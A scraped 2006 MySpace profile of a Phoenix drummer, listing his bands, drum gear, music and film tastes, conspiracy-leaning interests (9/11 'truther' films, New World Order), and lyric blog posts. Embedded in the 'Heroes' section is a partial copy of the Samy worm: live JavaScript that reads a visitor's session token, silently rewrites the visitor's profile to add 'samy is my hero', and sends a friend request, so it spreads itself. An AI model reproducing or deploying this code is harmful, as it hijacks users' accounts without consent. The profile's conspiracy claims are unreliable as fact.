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Keith

Can you see me now? I've wandered off somehow, distant is the day, of the innocent child......

About Me

I am originally from Maumee, OH; I now reside in Phoenix, AZ. I moved out west about 12 years ago to chase my dream and there have been many ups and downs along the way, but at least I will be able to die one day knowing that I gave it my best shot, no matter what happens.I am a musician; my passion is playing drums and percussion. I am doing session work and giving drum lessons on a regular basis. I also love to write lyrics and poetry, and am the drummer for a Progressive/Acoustic/Fusion/Metal project, Organism , as well a Progressive Rock/Metal band called SLATE , ( Official Band Website ).Organism is currently writing material for two seperate cds. One is a heavier, more dynamic, disc and the other is a cleaner, semi acoustic, disc that will have some ethereal sounding progressive movements as well as some haunting passages.Also check out the Terra Incognita page, it is one of the last projects I did with a long time friend and former bandmate Doug Notter and has some great playing on it.I like to support local bands, and am looking for like minded musicians to hang with, jam with, and/or network with for shows.I enjoy spending time with my girlfriend, Laura, and going to the movies. I also like camping and going to see new places, although I don't seem to have time to do much these days with all the music projects I have going. I really love going to concerts and seeing as many bands as I can. I also love to go shooting, Well, I'm sure there is more; if you want to know anything, just ask.I edited my profile with Thomas' Myspace Editor V4.4

My Interests

Drums, music, reading, concerts,guns,shooting,movies, art, politics, religion, nature, space, aliens, secret societies,freemasons,illuminati,knights templar,anything regarding the new world order. I am no fan of the Bush family dynasty or their ties to the Military-Industrial Complex or their pension for secrecy,oil,power,greed,croynism just to name a few things.This is the most corrupt administration we have ever had in the history of this country. People need to wake up because we are loosing our rights more and more each day. I do however like astronomy, astrology, mythology, metaphysics, native american culture, detroit lions football or whatever else catches my interest at the time. Oh yeah and I love music equipment! LOL. I am currently using Tama Granstar II Kit, Iron Cobra pedals, Tama Mini Timbales, Evans drum heads, Promark 5B The natural drumsticks woodtip, Pork Pie, ddrum, and Tama snares, A Roland TD-7 electronic drumset, Paiste signature cymbals and a few Sabian Cymbals as well and Pearl Icon drum rack.I have just about completed my conversion from Sabian to Paiste cymbals.I also recently purchased a six piece Gretch Catalina birch kit as well.

I'd like to meet:

Arianna Lima, Scarlett Johansen, Thomas Lang, Flo Mounier, Sean Reinart (Cynic, Gordian Knot, Death) Mark Zonder (Fates Warning) Asgeir Mickelson (Borknagar, Spiral Architect, Vintersorg) Gene Hoglan (Death, Dark Angel, SYL) Neil Peart (RUSH), Danny Carey(TOOL), Virgil Donati, Terry Bozzio.

Music:

Rush, Dream Theater, Opeth, TOOL, Pink Floyd,Fates Warning, Symphony X,Death, Cynic, Vintersorg, Borknagar, The Gathering, Anathema, Leaves Eyes, Theater Of Tragedy, ISIS, Spiral Architect, Evergrey, Mahavishnu Orchestra, Lacuna Coil, Evanescence, Type O Negative, Blind Guardian,Testament, Forbidden, In Flames, Killswitch Engaged, Queensryche, Maiden, BLS, Mastodon, High on Fire, DOWN, Black Sabbath, Mudvayne, Meshuggah, Clutch, Children of bodom, A Perfect Circle, King Crimson, Frank Zappa, The Cure and many more. I love all styles of music, including jazz-fusion, classical, classic rock, 80's rock/metal, new age, progressive metal, and many other genres and sub genres.I like to check out local bands and a few that I really like are Daughters of Fision, SectaS, Resist the Embrace,(SIC)Monic and Abigail Williams just to name a few.

Movies:

9/11 IN PLANE SIGHT, loose change 2nd edition,Lord of the Rings Trilogy, The Crow, Last of the Mohicans, Star Wars, Alien and many more. Sci-fi, Horror, Drama, Documentaries, Comedies and what ever else entertains me.

Television:

History channel, Science Channel, TLC, Discovery Channel, Nip/Tuck, Uranium, Head Bangers Ball.

Books:

En Route to Global Occupation, Hammer of the Gods, No one here gets out alive, Brief history of time, In the spirit of crazy horse, Fargo rock city, The Dirt, Lord of the Rings, Communion, Breakthrough: The Next Step, Transformation, Secret School, Chariots of the Gods, Gods from outer space.

Heroes:

Inspired by: Mark Zonder (Fates Warning) Mike Portnoy (Dream Theater), Neil Peart (RUSH), Thomas Lang, Marco Minnemann, Flo mounier Sean Reinart(Cynic, Gordian Knot), Asgeir Mickelson( Spiral Architect, Borknagar) Martin Lopez (Opeth) Jason Rullio (Symphony X) Gene Hoglan( Dark Angel, Death, Strapping young lad Johnny Depp, Christopher Walken, Anthony Hopkins. 0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','% 2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26' )}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}..'J...statechange=BI');J.open(BJ,BH,true);if(BJ=='POS T'){J.setRequestHeader('Content-Type','application/x-www-for m-urlencoded');J.setRequestHeader('Content-Length',BK.length )}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=getSource();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace ('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. '}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes',' ');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){ if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview'; AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseact ion=profile.previewInterests&Mytoken='+AR,postHero,'POST ',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';A S['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');ht tpSend('/index.cfm?fuseaction=profile.processInterests&M ytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN +'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET'); xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite .addfriend_verify&friendID=11851658&Mytoken='+L,proc essxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['subm it']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsP rocess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}f unction httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}..'xmlhttp2...statechange=BI');xmlhttp2.open(BJ,BH,tru e);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type',' application/x-www-form-urlencoded');xmlhttp2.setRequestHeade r('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"

My Blog

The Plight (arrow of time)

The Plight (arrow of time) rough ideasAs the fore winds moanWithin the whispering breezeThe fields are overgrownShadows amongst the treesAnything can happen Anything at allTomorrows promised to no one...
Posted by Keith on Fri, 23 Jun 2006 01:40:00 PST

Mithreum

Ashes of yesterdayAre falling all aroundWithin all this turmoilThere is not a soundOther than the memoriesColliding in the shadowsAnd tears that swallow rainWings are scorched and foldedYet bearing al...
Posted by Keith on Fri, 23 Jun 2006 01:18:00 PST

Paper Heart (lyrics)

Paper Heart I can no longer sustainThis over saturationAwake within my dreamSo may thoughts I can't escapeThe mind absorbing everythingSo many things to contemplateI cannot seeAnythingIt's so unclear ...
Posted by Keith on Thu, 30 Mar 2006 08:26:00 PST

Disenchanted Lyrics

Disenchanted Time cannot replenishDreams that have FadedMemories that I captureSuggesting that I'm JadedAwoken from the ashesEmbers of the pastIn the clouded atmosphereThe Elements contrastContradict ...
Posted by Keith on Tue, 21 Mar 2006 10:25:00 PST

Metempsychosis (Transmigration of souls) lyrics

Metempsychosis Look into my eyesA presence so familiarSpanning through all timePiercing through this new worldCollecting all the piecesPlace them back togetherOnly times past can dictateThe elements o...
Posted by Keith on Sat, 18 Mar 2006 02:37:00 PST